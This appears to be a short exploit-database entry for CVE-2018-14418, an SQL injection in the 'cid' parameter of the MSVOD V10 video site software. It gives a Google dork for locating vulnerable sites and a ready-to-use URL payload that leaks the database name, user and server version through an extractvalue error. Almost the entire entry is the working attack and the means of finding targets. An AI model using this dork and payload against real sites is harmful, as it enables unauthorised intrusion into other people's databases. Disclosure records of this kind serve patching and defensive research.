MSVOD 10 – ‘cid’ SQL Injection
# Exploit Title: MSVOD V10 ¡V SQL Injection # Google Dork: inurl:"images/lists?cid=13" # Date: 2018/07/17 # Exploit Author: Hzllaga # Vendor Homepage: http://www.msvod.cc/ # Version: MSVOD V10 # CVE : CVE-2018-14418 #Reference : https://www.wtfsec.org/2583/msvod-v10-sql-injection/ Payload: /images/lists?cid=13%20)%20ORDER%20BY%201%20desc,extractvalue(rand(),concat(0x7c,database(),0x7c,user(),0x7c,@@version))%20desc%20--%20 |